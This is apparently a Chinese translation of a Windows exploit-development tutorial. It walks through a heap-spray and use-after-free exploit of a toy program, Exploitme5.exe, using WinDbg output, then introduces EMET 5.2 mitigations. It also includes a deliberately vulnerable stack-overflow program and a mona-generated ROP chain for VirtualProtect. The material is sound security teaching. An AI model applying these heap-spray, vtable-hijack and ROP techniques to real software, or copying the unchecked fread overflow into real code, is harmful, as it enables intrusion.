Virtual block: 02d50000 - 02d50000 (size 00000000)
Virtual block: 02e50000 - 02e50000 (size 00000000)
Virtual block: 02f50000 - 02f50000 (size 00000000)
Virtual block: 03050000 - 03050000 (size 00000000)
Virtual block: 03150000 - 03150000 (size 00000000)
Virtual block: 03250000 - 03250000 (size 00000000)
Virtual block: 03350000 - 03350000 (size 00000000)
Virtual block: 03450000 - 03450000 (size 00000000)
Virtual block: 03550000 - 03550000 (size 00000000)
Virtual block: 03650000 - 03650000 (size 00000000)
Virtual block: 03750000 - 03750000 (size 00000000)
Virtual block: 03850000 - 03850000 (size 00000000)
Virtual block: 03950000 - 03950000 (size 00000000)
Virtual block: 03a50000 - 03a50000 (size 00000000)
Virtual block: 03b50000 - 03b50000 (size 00000000)
Virtual block: 03c50000 - 03c50000 (size 00000000)
Virtual block: 03d50000 - 03d50000 (size 00000000)
Virtual block: 03e50000 - 03e50000 (size 00000000)
Virtual block: 03f50000 - 03f50000 (size 00000000)
Virtual block: 04050000 - 04050000 (size 00000000)
Virtual block: 04150000 - 04150000 (size 00000000)
Virtual block: 04250000 - 04250000 (size 00000000)
Virtual block: 04350000 - 04350000 (size 00000000)
Virtual block: 04450000 - 04450000 (size 00000000)
Virtual block: 04550000 - 04550000 (size 00000000)
Virtual block: 04650000 - 04650000 (size 00000000)
Virtual block: 04750000 - 04750000 (size 00000000)
Virtual block: 04850000 - 04850000 (size 00000000)
Virtual block: 04950000 - 04950000 (size 00000000)
Virtual block: 04a50000 - 04a50000 (size 00000000)
Virtual block: 04b50000 - 04b50000 (size 00000000)
Virtual block: 04c50000 - 04c50000 (size 00000000)
Virtual block: 04d50000 - 04d50000 (size 00000000)
Virtual block: 04e50000 - 04e50000 (size 00000000)
Virtual block: 04f50000 - 04f50000 (size 00000000)
Virtual block: 05050000 - 05050000 (size 00000000)
Virtual block: 05150000 - 05150000 (size 00000000)
Virtual block: 05250000 - 05250000 (size 00000000)
Virtual block: 05350000 - 05350000 (size 00000000)
Virtual block: 05450000 - 05450000 (size 00000000)
Virtual block: 05550000 - 05550000 (size 00000000)
Virtual block: 05650000 - 05650000 (size 00000000)
Virtual block: 05750000 - 05750000 (size 00000000)
Virtual block: 05850000 - 05850000 (size 00000000)
Virtual block: 05950000 - 05950000 (size 00000000)
Virtual block: 05a50000 - 05a50000 (size 00000000)
Virtual block: 05b50000 - 05b50000 (size 00000000)
Virtual block: 05c50000 - 05c50000 (size 00000000)
Virtual block: 05d50000 - 05d50000 (size 00000000)
Virtual block: 05e50000 - 05e50000 (size 00000000)
Virtual block: 05f50000 - 05f50000 (size 00000000)
Virtual block: 06050000 - 06050000 (size 00000000)
Virtual block: 06150000 - 06150000 (size 00000000)
Virtual block: 06250000 - 06250000 (size 00000000)
Virtual block: 06350000 - 06350000 (size 00000000)
Virtual block: 06450000 - 06450000 (size 00000000)
Virtual block: 06550000 - 06550000 (size 00000000)
Virtual block: 06650000 - 06650000 (size 00000000)
Virtual block: 06750000 - 06750000 (size 00000000)
Virtual block: 06850000 - 06850000 (size 00000000)
Virtual block: 06950000 - 06950000 (size 00000000)
Virtual block: 06a50000 - 06a50000 (size 00000000)
Virtual block: 06b50000 - 06b50000 (size 00000000)
Virtual block: 06c50000 - 06c50000 (size 00000000)
Virtual block: 06d50000 - 06d50000 (size 00000000)
Virtual block: 06e50000 - 06e50000 (size 00000000)
Virtual block: 06f50000 - 06f50000 (size 00000000)
Virtual block: 07050000 - 07050000 (size 00000000)
Virtual block: 07150000 - 07150000 (size 00000000)
Virtual block: 07250000 - 07250000 (size 00000000)
Virtual block: 07350000 - 07350000 (size 00000000)
Virtual block: 07450000 - 07450000 (size 00000000)
Virtual block: 07550000 - 07550000 (size 00000000)
Virtual block: 07650000 - 07650000 (size 00000000)
Virtual block: 07750000 - 07750000 (size 00000000)
Virtual block: 07850000 - 07850000 (size 00000000)
Virtual block: 07950000 - 07950000 (size 00000000)
Virtual block: 07a50000 - 07a50000 (size 00000000)
Virtual block: 07b50000 - 07b50000 (size 00000000)
Virtual block: 07c50000 - 07c50000 (size 00000000)
Virtual block: 07d50000 - 07d50000 (size 00000000)
Virtual block: 07e50000 - 07e50000 (size 00000000)
Virtual block: 07f50000 - 07f50000 (size 00000000)
Virtual block: 08050000 - 08050000 (size 00000000)
Virtual block: 08150000 - 08150000 (size 00000000)
Virtual block: 08250000 - 08250000 (size 00000000)
Virtual block: 08350000 - 08350000 (size 00000000)
Virtual block: 08450000 - 08450000 (size 00000000)
Virtual block: 08550000 - 08550000 (size 00000000)
Virtual block: 08650000 - 08650000 (size 00000000)
Virtual block: 08750000 - 08750000 (size 00000000)
Virtual block: 08850000 - 08850000 (size 00000000)
Virtual block: 08950000 - 08950000 (size 00000000)
Virtual block: 08a50000 - 08a50000 (size 00000000)
Virtual block: 08b50000 - 08b50000 (size 00000000)
Virtual block: 08c50000 - 08c50000 (size 00000000)
Virtual block: 08d50000 - 08d50000 (size 00000000)
Virtual block: 08e50000 - 08e50000 (size 00000000)
Virtual block: 08f50000 - 08f50000 (size 00000000)
Virtual block: 09050000 - 09050000 (size 00000000)
Virtual block: 09150000 - 09150000 (size 00000000)
Virtual block: 09250000 - 09250000 (size 00000000)
Virtual block: 09350000 - 09350000 (size 00000000)
Virtual block: 09450000 - 09450000 (size 00000000)
Virtual block: 09550000 - 09550000 (size 00000000)
Virtual block: 09650000 - 09650000 (size 00000000)
Virtual block: 09750000 - 09750000 (size 00000000)
Virtual block: 09850000 - 09850000 (size 00000000)
Virtual block: 09950000 - 09950000 (size 00000000)
Virtual block: 09a50000 - 09a50000 (size 00000000)
Virtual block: 09b50000 - 09b50000 (size 00000000)
Virtual block: 09c50000 - 09c50000 (size 00000000)
Virtual block: 09d50000 - 09d50000 (size 00000000)
Virtual block: 09e50000 - 09e50000 (size 00000000)
Virtual block: 09f50000 - 09f50000 (size 00000000)
Virtual block: 0a050000 - 0a050000 (size 00000000)
Virtual block: 0a150000 - 0a150000 (size 00000000)
Virtual block: 0a250000 - 0a250000 (size 00000000)
Virtual block: 0a350000 - 0a350000 (size 00000000)
Virtual block: 0a450000 - 0a450000 (size 00000000)
Virtual block: 0a550000 - 0a550000 (size 00000000)
Virtual block: 0a650000 - 0a650000 (size 00000000)
Virtual block: 0a750000 - 0a750000 (size 00000000)
Virtual block: 0a850000 - 0a850000 (size 00000000)
Virtual block: 0a950000 - 0a950000 (size 00000000)
Virtual block: 0aa50000 - 0aa50000 (size 00000000)
Virtual block: 0ab50000 - 0ab50000 (size 00000000)
Virtual block: 0ac50000 - 0ac50000 (size 00000000)
Virtual block: 0ad50000 - 0ad50000 (size 00000000)
Virtual block: 0ae50000 - 0ae50000 (size 00000000)
Virtual block: 0af50000 - 0af50000 (size 00000000)
Virtual block: 0b050000 - 0b050000 (size 00000000)
Virtual block: 0b150000 - 0b150000 (size 00000000)
Virtual block: 0b250000 - 0b250000 (size 00000000)
Virtual block: 0b350000 - 0b350000 (size 00000000)
Virtual block: 0b450000 - 0b450000 (size 00000000)
Virtual block: 0b550000 - 0b550000 (size 00000000)
Virtual block: 0b650000 - 0b650000 (size 00000000)
Virtual block: 0b750000 - 0b750000 (size 00000000)
Virtual block: 0b850000 - 0b850000 (size 00000000)
Virtual block: 0b950000 - 0b950000 (size 00000000)
Virtual block: 0ba50000 - 0ba50000 (size 00000000)
Virtual block: 0bb50000 - 0bb50000 (size 00000000)
Virtual block: 0bc50000 - 0bc50000 (size 00000000)
Virtual block: 0bd50000 - 0bd50000 (size 00000000)
Virtual block: 0be50000 - 0be50000 (size 00000000)
Virtual block: 0bf50000 - 0bf50000 (size 00000000)
Virtual block: 0c050000 - 0c050000 (size 00000000)
Virtual block: 0c150000 - 0c150000 (size 00000000)
Virtual block: 0c250000 - 0c250000 (size 00000000)
Virtual block: 0c350000 - 0c350000 (size 00000000)
Virtual block: 0c450000 - 0c450000 (size 00000000)
Virtual block: 0c550000 - 0c550000 (size 00000000)
Virtual block: 0c650000 - 0c650000 (size 00000000)
Virtual block: 0c750000 - 0c750000 (size 00000000)
Virtual block: 0c850000 - 0c850000 (size 00000000)
Virtual block: 0c950000 - 0c950000 (size 00000000)
Virtual block: 0ca50000 - 0ca50000 (size 00000000)
Virtual block: 0cb50000 - 0cb50000 (size 00000000)
Virtual block: 0cc50000 - 0cc50000 (size 00000000)
002f0000 40000062    1024     36   1024      4     8     1  201      0      
00010000 40008060      64      4     64      2     1     1    0      0      
00020000 40008060      64     64     64     62     1     1    0      0      
-----------------------------------------------------------------------------



这次的地址变了,我们来比较一下最后4个:


Virtual block: 0c850000 - 0c850000 (size 00000000)
Virtual block: 0c950000 - 0c950000 (size 00000000)
Virtual block: 0ca50000 - 0ca50000 (size 00000000)
Virtual block: 0cb50000 - 0cb50000 (size 00000000)
------------------------------------------------------
Virtual block: 0c950000 - 0c950000 (size 00000000)
Virtual block: 0ca50000 - 0ca50000 (size 00000000)
Virtual block: 0cb50000 - 0cb50000 (size 00000000)
Virtual block: 0cc50000 - 0cc50000 (size 00000000)



我们注意到,虽然他们总是在0x10000的边界对齐.但是我们还需要给这些地址添加0x20,因为有元数据头:


block 197: address = 0x0c950020; size = 1048528
block 198: address = 0x0ca50020; size = 1048528
block 199: address = 0x0cb50020; size = 1048528
block 200: address = 0x0cc50020; size = 1048528



如果我们让我们攻击载荷(payload)的大小为0x10000,然后在整个1MB(-0x30字节)中重复填充满我们的攻击载荷,那么我们肯定能定位到我们的攻击载荷,例如,地址0x0a000020.我们选择0x0a000020这个地址是因为它位于我们喷射的堆中间,即使该地址略微的变化一点点,也一定会包含我们的攻击载荷.


我们试着来实现以下:





注意,由于我们的块比1MB少0x30个字节,所以我们的攻击载荷最后一个副本可能会被截断.其实这无关紧要.


现在,我们在WinDbg中重新启动Exploitme5.exe,运行它,从文件中读取块,接着拷贝200份,中断下来,最后,我们来查看一下起始地址为0x0a000020的这块内存:





我们可以看到,我们的攻击载荷的其中一份副本正好起始于0x0a000020,和我们预想的一样.现在,我们将全部的东西整合到一起,完成Exploitme5.exe的漏洞利用.




实际的漏洞利用


我们已经知道configureMutator()中存在一个UAF bug.我们可以使用这个函数来创建一个悬挂指针,mutators[0].通过从文件中读取一个168(倍增器(Multiplier)的大小)字节的块,我们可以使悬挂指针指向我们控制的数据.特别注意,数据的第一个DWORD值应该为0x0a000020,该地址将指向虚表,这样我们就能够控制程序执行的流程了.




我们来看一看mutateBlock()这个函数:


void mutateBlock() {
         listBlocks();
         while (true) {
                   printf("Index of block to mutate (-1 to exit): ");
                   int index;
                   scanf_s("%d", &index);
                   fflush(stdin);
                   if (index == -1)
                            break;
                   if (index < 0 || index >= (int)blocks.size()) {
                            printf("Wrong index!\n");
                   }
                   else {
                            while (true) {
                                     printf(
                                               "1) Multiplier\n"
                                               "2) LowerCaser\n"
                                               "3) Exit\n"
                                               "Your choice [1-3]: ");
                                     int choice = _getch();
                                     printf("\n\n");
                                     if (choice == '3')
                                               break;
                                     if (choice >= '1' && choice <= '3') {
                                               choice -= '0';
                                               mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize());
                                               printf("The block was mutated.\n\n");
                                               break;
                                     }
                                     else
                                               printf("Wrong choice!\n\n");
                            }
                            break;
                   }
         }
}



我们感兴趣的一行如下:


mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize());



选择倍增器(Multiplier)的话,choice这个变量就为1,因此这一行等价于


mutators[0]->mutate(…);



mutate这个方法是倍增器(Multiplier)的虚表中第二个虚方法.因此,在0x0a000020地址处,我们可以将虚表设置为如下形式:

0x0a000020:   随便什么地址都可以
0x0a000024:   0x0a000028



当mutate方法被调用时,就会跳转到0x0a000028地址处去执行代码,这正是我们的shellcode应该放的地方.


我们知道,我们可以通过堆喷射来让我们的攻击载荷填充到起始地址为0x0a000020的地址处.我们将使用的攻击载荷如下:





完整的架构如下:





首先我们创建c:\obj.dat:





接着我们创建c:\buf.dat:





现在我们需要运行Exploitme5.exe(不需要WinDbg),然后做如下操作:

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
 
Your choice [1-6]: 1
 
File path ('exit' to exit): c:\obj.dat
 
Block read (168 bytes)
 
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
 
Your choice [1-6]: 4
 
1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit
 
Your choice [1-3]: 1
 
mutators[0] = 0x000a04b8     <=========================
multiplier (int): asdf
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
 
Your choice [1-6]: 3
 
------- Blocks -------
block 0: address = 0x000a2998; size = 168
----------------------
 
Index of block to duplicate (-1 to exit): 0
Number of copies (-1 to exit): 1
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
 
Your choice [1-6]:  2
 
------- Blocks -------
block 0: address = 0x000a2998; size = 168
block 1: address = 0x000a04b8; size = 168   <============
----------------------
 
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
 
Your choice [1-6]: 1
 
File path ('exit' to exit): c:\buf.dat
 
Block read (1048528 bytes)          <==============1MB
 
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
 
Your choice [1-6]: 3
 
------- Blocks -------
block 0: address = 0x000a2998; size = 168
block 1: address = 0x000a04b8; size = 168
block 2: address = 0x00300020; size = 1048528
----------------------
 
Index of block to duplicate (-1 to exit): 2
Number of copies (-1 to exit): 200  <============== 200 * 1MB
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
 
Your choice [1-6]: 5
 
------- Blocks -------
block 0: address = 0x000a2998; size = 168
block 1: address = 0x000a04b8; size = 168
block 2: address = 0x00300020; size = 1048528
block 3: address = 0x00400020; size = 1048528
block 4: address = 0x00500020; size = 1048528
block 5: address = 0x00600020; size = 1048528
block 6: address = 0x00700020; size = 1048528
block 7: address = 0x00800020; size = 1048528
block 8: address = 0x00900020; size = 1048528
block 9: address = 0x00a00020; size = 1048528
block 10: address = 0x00b00020; size = 1048528
block 11: address = 0x00c00020; size = 1048528
block 12: address = 0x00d00020; size = 1048528
block 13: address = 0x00e00020; size = 1048528
block 14: address = 0x00f00020; size = 1048528
block 15: address = 0x01000020; size = 1048528
block 16: address = 0x01100020; size = 1048528
block 17: address = 0x012b0020; size = 1048528
block 18: address = 0x013b0020; size = 1048528
block 19: address = 0x014b0020; size = 1048528
block 20: address = 0x015b0020; size = 1048528
block 21: address = 0x016b0020; size = 1048528
block 22: address = 0x017b0020; size = 1048528
block 23: address = 0x018b0020; size = 1048528
block 24: address = 0x019b0020; size = 1048528
block 25: address = 0x01ab0020; size = 1048528
block 26: address = 0x01bb0020; size = 1048528
block 27: address = 0x01cb0020; size = 1048528
block 28: address = 0x01db0020; size = 1048528
block 29: address = 0x01eb0020; size = 1048528
block 30: address = 0x01fb0020; size = 1048528
block 31: address = 0x020b0020; size = 1048528
block 32: address = 0x021b0020; size = 1048528
block 33: address = 0x022b0020; size = 1048528
block 34: address = 0x023b0020; size = 1048528
block 35: address = 0x024b0020; size = 1048528
block 36: address = 0x025b0020; size = 1048528
block 37: address = 0x026b0020; size = 1048528
block 38: address = 0x027b0020; size = 1048528
block 39: address = 0x028b0020; size = 1048528
block 40: address = 0x029b0020; size = 1048528
block 41: address = 0x02ab0020; size = 1048528
block 42: address = 0x02bb0020; size = 1048528
block 43: address = 0x02cb0020; size = 1048528
block 44: address = 0x02db0020; size = 1048528
block 45: address = 0x02eb0020; size = 1048528
block 46: address = 0x02fb0020; size = 1048528
block 47: address = 0x030b0020; size = 1048528
block 48: address = 0x031b0020; size = 1048528
block 49: address = 0x032b0020; size = 1048528
block 50: address = 0x033b0020; size = 1048528
block 51: address = 0x034b0020; size = 1048528
block 52: address = 0x035b0020; size = 1048528
block 53: address = 0x036b0020; size = 1048528
block 54: address = 0x037b0020; size = 1048528
block 55: address = 0x038b0020; size = 1048528
block 56: address = 0x039b0020; size = 1048528
block 57: address = 0x03ab0020; size = 1048528
block 58: address = 0x03bb0020; size = 1048528
block 59: address = 0x03cb0020; size = 1048528
block 60: address = 0x03db0020; size = 1048528
block 61: address = 0x03eb0020; size = 1048528
block 62: address = 0x03fb0020; size = 1048528
block 63: address = 0x040b0020; size = 1048528
block 64: address = 0x041b0020; size = 1048528
block 65: address = 0x042b0020; size = 1048528
block 66: address = 0x043b0020; size = 1048528
block 67: address = 0x044b0020; size = 1048528
block 68: address = 0x045b0020; size = 1048528
block 69: address = 0x046b0020; size = 1048528
block 70: address = 0x047b0020; size = 1048528
block 71: address = 0x048b0020; size = 1048528
block 72: address = 0x049b0020; size = 1048528
block 73: address = 0x04ab0020; size = 1048528
block 74: address = 0x04bb0020; size = 1048528
block 75: address = 0x04cb0020; size = 1048528
block 76: address = 0x04db0020; size = 1048528
block 77: address = 0x04eb0020; size = 1048528
block 78: address = 0x04fb0020; size = 1048528
block 79: address = 0x050b0020; size = 1048528
block 80: address = 0x051b0020; size = 1048528
block 81: address = 0x052b0020; size = 1048528
block 82: address = 0x053b0020; size = 1048528
block 83: address = 0x054b0020; size = 1048528
block 84: address = 0x055b0020; size = 1048528
block 85: address = 0x056b0020; size = 1048528
block 86: address = 0x057b0020; size = 1048528
block 87: address = 0x058b0020; size = 1048528
block 88: address = 0x059b0020; size = 1048528
block 89: address = 0x05ab0020; size = 1048528
block 90: address = 0x05bb0020; size = 1048528
block 91: address = 0x05cb0020; size = 1048528
block 92: address = 0x05db0020; size = 1048528
block 93: address = 0x05eb0020; size = 1048528
block 94: address = 0x05fb0020; size = 1048528
block 95: address = 0x060b0020; size = 1048528
block 96: address = 0x061b0020; size = 1048528
block 97: address = 0x062b0020; size = 1048528
block 98: address = 0x063b0020; size = 1048528
block 99: address = 0x064b0020; size = 1048528
block 100: address = 0x065b0020; size = 1048528
block 101: address = 0x066b0020; size = 1048528
block 102: address = 0x067b0020; size = 1048528
block 103: address = 0x068b0020; size = 1048528
block 104: address = 0x069b0020; size = 1048528
block 105: address = 0x06ab0020; size = 1048528
block 106: address = 0x06bb0020; size = 1048528
block 107: address = 0x06cb0020; size = 1048528
block 108: address = 0x06db0020; size = 1048528
block 109: address = 0x06eb0020; size = 1048528
block 110: address = 0x06fb0020; size = 1048528
block 111: address = 0x070b0020; size = 1048528
block 112: address = 0x071b0020; size = 1048528
block 113: address = 0x072b0020; size = 1048528
block 114: address = 0x073b0020; size = 1048528
block 115: address = 0x074b0020; size = 1048528
block 116: address = 0x075b0020; size = 1048528
block 117: address = 0x076b0020; size = 1048528
block 118: address = 0x077b0020; size = 1048528
block 119: address = 0x078b0020; size = 1048528
block 120: address = 0x079b0020; size = 1048528
block 121: address = 0x07ab0020; size = 1048528
block 122: address = 0x07bb0020; size = 1048528
block 123: address = 0x07cb0020; size = 1048528
block 124: address = 0x07db0020; size = 1048528
block 125: address = 0x07eb0020; size = 1048528
block 126: address = 0x07fb0020; size = 1048528
block 127: address = 0x080b0020; size = 1048528
block 128: address = 0x081b0020; size = 1048528
block 129: address = 0x082b0020; size = 1048528
block 130: address = 0x083b0020; size = 1048528
block 131: address = 0x084b0020; size = 1048528
block 132: address = 0x085b0020; size = 1048528
block 133: address = 0x086b0020; size = 1048528
block 134: address = 0x087b0020; size = 1048528
block 135: address = 0x088b0020; size = 1048528
block 136: address = 0x089b0020; size = 1048528
block 137: address = 0x08ab0020; size = 1048528
block 138: address = 0x08bb0020; size = 1048528
block 139: address = 0x08cb0020; size = 1048528
block 140: address = 0x08db0020; size = 1048528
block 141: address = 0x08eb0020; size = 1048528
block 142: address = 0x08fb0020; size = 1048528
block 143: address = 0x090b0020; size = 1048528
block 144: address = 0x091b0020; size = 1048528
block 145: address = 0x092b0020; size = 1048528
block 146: address = 0x093b0020; size = 1048528
block 147: address = 0x094b0020; size = 1048528
block 148: address = 0x095b0020; size = 1048528
block 149: address = 0x096b0020; size = 1048528
block 150: address = 0x097b0020; size = 1048528
block 151: address = 0x098b0020; size = 1048528
block 152: address = 0x099b0020; size = 1048528
block 153: address = 0x09ab0020; size = 1048528
block 154: address = 0x09bb0020; size = 1048528
block 155: address = 0x09cb0020; size = 1048528
block 156: address = 0x09db0020; size = 1048528
block 157: address = 0x09eb0020; size = 1048528
block 158: address = 0x09fb0020; size = 1048528
block 159: address = 0x0a0b0020; size = 1048528
block 160: address = 0x0a1b0020; size = 1048528
block 161: address = 0x0a2b0020; size = 1048528
block 162: address = 0x0a3b0020; size = 1048528
block 163: address = 0x0a4b0020; size = 1048528
block 164: address = 0x0a5b0020; size = 1048528
block 165: address = 0x0a6b0020; size = 1048528
block 166: address = 0x0a7b0020; size = 1048528
block 167: address = 0x0a8b0020; size = 1048528
block 168: address = 0x0a9b0020; size = 1048528
block 169: address = 0x0aab0020; size = 1048528
block 170: address = 0x0abb0020; size = 1048528
block 171: address = 0x0acb0020; size = 1048528
block 172: address = 0x0adb0020; size = 1048528
block 173: address = 0x0aeb0020; size = 1048528
block 174: address = 0x0afb0020; size = 1048528
block 175: address = 0x0b0b0020; size = 1048528
block 176: address = 0x0b1b0020; size = 1048528
block 177: address = 0x0b2b0020; size = 1048528
block 178: address = 0x0b3b0020; size = 1048528
block 179: address = 0x0b4b0020; size = 1048528
block 180: address = 0x0b5b0020; size = 1048528
block 181: address = 0x0b6b0020; size = 1048528
block 182: address = 0x0b7b0020; size = 1048528
block 183: address = 0x0b8b0020; size = 1048528
block 184: address = 0x0b9b0020; size = 1048528
block 185: address = 0x0bab0020; size = 1048528
block 186: address = 0x0bbb0020; size = 1048528
block 187: address = 0x0bcb0020; size = 1048528
block 188: address = 0x0bdb0020; size = 1048528
block 189: address = 0x0beb0020; size = 1048528
block 190: address = 0x0bfb0020; size = 1048528
block 191: address = 0x0c0b0020; size = 1048528
block 192: address = 0x0c1b0020; size = 1048528
block 193: address = 0x0c2b0020; size = 1048528
block 194: address = 0x0c3b0020; size = 1048528
block 195: address = 0x0c4b0020; size = 1048528
block 196: address = 0x0c5b0020; size = 1048528
block 197: address = 0x0c6b0020; size = 1048528
block 198: address = 0x0c7b0020; size = 1048528
block 199: address = 0x0c8b0020; size = 1048528
block 200: address = 0x0c9b0020; size = 1048528
block 201: address = 0x0cab0020; size = 1048528
block 202: address = 0x0cbb0020; size = 1048528
----------------------
 
Index of block to mutate (-1 to exit): 0
1) Multiplier
2) LowerCaser
3) Exit
Your choice [1-3]: 1



只要我们完整以上这些步骤,就会弹出一个计算器!




























EMET
5.2


EMET是Enhanced Migigation Experience
Toolkit(增强的缓解体验工具包).这篇文章中,我们用的EMET是最新版本5.2.


EMET 5.2下载地址: https://www.microsoft.com/en-us/download/details.aspx?id=46366


跟之前一样,我们的实验平台还是Windows 7 SP1 64位.




警告


EMET 5.2可能会与某些防火墙和杀毒软件冲突.例如,我花了几个小时也没弄明白为什么这里明明没有exploit,EMET还是检测到了有尝试Exploit的地方.最后,我发现原来是EMET与科莫多防火墙冲突导致的.所以我必须把防火墙完全卸载了,EMET才能正常使用.但是好的防火墙本来就少(PS:舍不得卸载,\(^o^)/~),我这里就不卸载科莫多防火墙了,我打算在虚拟机里面做实验(我用的是VirtualBox).




保护




顾名思义,EMET试图缓解漏洞攻击的影响.它通过引入以下保护措施来实现缓解攻击的影响:


1.      
数据执行保护(DEP)


如果指令位于被标记为不可执行的内存区域的话,阻止它们的执行.


2.      
结构化异常处理程序覆盖保护(SEHOP)


对覆盖Windows结构化异常处理程序的漏洞利用技术进行防御.


3.      
空页面保护(NullPage)


预分配空页面,防止攻击者利用它来进行恶意利用.


4.      
堆喷射保护(HeapSpray)


将通常被攻击者用来分配恶意代码的内存区域预先分配了.(例如,


0x0a040a04;0x0a0a0a0a;0x0b0b0b0b;0x0c0c0c0c;0x0d0d0d0d;0x0e0e0e0e;0x04040404;0x05050505;0x06060606;0x07070707;0x08080808;0x09090909;0x20202020;0x14141414)


5.      
导出地址表访问过滤(EAF)


可以对访问导出地址表(EAT)的调用代码设置规则.


6.      
导出地址表访问过滤增强版(EAF+)


阻止掉常被用于漏洞利用过程中通过读取导入,导出表来获取常见模块中API函数地址的操作.


7.      
强制地址空间布局随机化(MandatoryASLR)


通过随机化模块加载到内存中的位置,以此来限制攻击者预先确定内存地址的能力.


8.      
由低而上的地址空间布局随机化(BottomUpASLR)


通过随机化自下而上分配的基地址来增强强制性地址空间布局随机化(MandatoryASLR)的缓解性(Mitigation).


9.      
Load Library保护(LoadLib)


阻止掉位于UNC(通用命名规则)路径下的模块(即,\\evilsite\bad.dll)-返回导向编程(ROP)攻击中的通用技术.


10.  
内存保护(MemProt)


阻止掉将位于栈中的内存空间标记为可执行的操作-返回导向编程(ROP)攻击中的通用技术.


11.  
ROP调用者检查(Caller)


阻止掉直接通过一个RET指令来调用的判定/关键函数的执行-返回导向编程(ROP)攻击中的通用技术.


12.  
ROP模拟执行流(SimExecFlow)


在返回地址后再生一个执行流,尝试检测返回导向编程(ROP)攻击.


13.  
堆栈支点(StackPivot)


检查栈指针是否被修改,转而去指向攻击者控制的内存区域了-返回导向编程(ROP)攻击中的通用技术.


14.  
减少攻击面(ASR)


防止规定的模块加载到受保护进程的地址空间.


以上这些防护机制看起来挺唬人的,不过大家不要怕,我们一起来研究一下!




程序


为了便于分析EMET,最好使用我们之前编写的短小C/C++程序之一.这里我们用Exploitme3.cpp,但是要做一点小小的修改:


_declspec(noinline) int f() {
      char name[32];
      printf("Reading name from file...\n");
 
      FILE *f = fopen("d:\\name.dat", "rb");
      if (!f)
           return -1;
      fseek(f, 0L, SEEK_END);
      long bytes = ftell(f);
      fseek(f, 0L, SEEK_SET);
      fread(name, 1, bytes, f);
      name[bytes] = '\0';
      fclose(f);
 
      printf("Hi, %s!\n", name);
      return 0;
}
 
int main() {
      char moreStack[10000];
      for (int i = 0; i < sizeof(moreStack); ++i)
           moreStack[i] = i;
 
      return f();
}



这个栈变量moreStack会为我们分配足够的空间.记住栈是往低地址方向增长的,而fread写入缓冲区是往高地址方向增长的.如果不在栈中额外分配空间的话,fread可能会耗尽栈空间,从而触发异常导致程序崩溃.




main中的这个for循环是必须要的,如果你不使用for循环的话,moreStack可能会被编译器优化掉.还有就是,如果f函数被作为内联函数的话,那么name这个缓冲区就会被分配在moreStack之后(即name更靠近栈底了),这样就与我们的初衷背道而驰了.为了防止f函数被内联,我们需要使用_declspec(noinline)修饰符.




跟之前一样,我们需要禁用掉安全检查(stack cookies/GS),但是开启DEP,打开工程->属性,将以下修改应用到发布版本配置:


●  配置属性


●  C/C++


●  代码生成


●  安全检查:禁用安全检查(/GS-)


确保DEP是启用的:


●  配置属性:


●  链接器


●  数据执行保护(DEP):是(/NXCOMPAT)




ASLR注意事项


我们知道,绕过ASLR,需要利用某些信息的泄露,在接下来两章中我们将为启用了ASLR的Internet Explorer 10和11开发漏洞利用程序.但是现在,让我们忽略掉ASLR,集中精力考量DEP和ROP.




我们的程序Exploitme3会使用msvcr120.dll这个库.不幸的是,每次程序运行的时候,该库会被加载到不同的地址处.我们可以利用系统库(kernel32.dll,ntdll.dll,等等…)来构建ROP链,但这也没太大意义.我们费了九牛二虎之力才构建出可靠的shellcode(通过定位导出地址表获取我们想调用的API函数地址).如果我们硬编码从kernel32.dll和ntdll.dll中收集到的小部件(gadget)中的地址,那么API函数的地址也要硬编码了才有意义.




所以,正确的做法是,从msvcr120.dll中获取我们的小部件(gadget).不幸的是,kernel32.dll和ntdll.dll的基地址在重启Windows以后会变化,我们之前已经说过了,只要Exploitme3重新运行,msvcr120.dll的基地址就会变化.




这两种行为之间的差异源于Exploitme3被执行时,kernel32.dll和ntdll.dll已经被加载到内存中了,而msvcr120.dll却不是.因此,一种解决方案是运行如下的程序:


#include <windows.h>
#include <conio.h>
 
int main() {
      printf("msvcr120 = %p\n", GetModuleHandle(L"msvcr120"));
      printf("--- press any key ---\n");
      _getch();
      return 0;
}



只要我们不结束这个程序,msvcr120.dll的基地址就不会改变.当我们运行Exploitme3,Windows操作系统发现msvcr120.dll已经被加载到内存中,所以只会简单将它映射到Exploitme3的地址空间中.而且,msvcr120.dll会被映射到相同的地址处,因为它包含了地址相关的代码,如果msvcr120.dll被放到了不同的地址处,程序无法正常工作了.




初步的Exploit


打开EMET,单击Apps按钮:





现在单击添加应用程序,并且选择Exploitme3.exe:





你可以看到Exploitme3已经被添加到列表中了:





我们先禁用掉EAF,LoadLib,MemProt,Caller,SimExecFlow和StackPivot:







按OK,确认这些设置.


现在我们用WinDbg加载Exploitme3.exe,接着利用mona为VirtualProtect生成一个ROP链:





以下是通过mona创建的rop_chains.txt文件中找到的ROP链:


def create_rop_chain():
 
    # rop chain generated with mona.py - www.corelan.be
    rop_gadgets = [
      0x6f4991cd,  # POP EBP # RETN [MSVCR120.dll] 
      0x6f4991cd,  # skip 4 bytes [MSVCR120.dll]
      0x6f401639,  # POP EBX # RETN [MSVCR120.dll] 
      0x00000201,  # 0x00000201-> ebx
      0x6f43640b,  # POP EDX # RETN [MSVCR120.dll] 
      0x00000040,  # 0x00000040-> edx
      0x6f495147,  # POP ECX # RETN [MSVCR120.dll] 
      0x6f4d5ef4,  # &Writable location [MSVCR120.dll]
      0x6f424694,  # POP EDI # RETN [MSVCR120.dll] 
      0x6f3ff607,  # RETN (ROP NOP) [MSVCR120.dll]
      0x6f45c627,  # POP ESI # RETN [MSVCR120.dll] 
      0x6f403a17,  # JMP [EAX] [MSVCR120.dll]
      0x6f42e0f8,  # POP EAX # RETN [MSVCR120.dll] 
      0x6f4d51a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
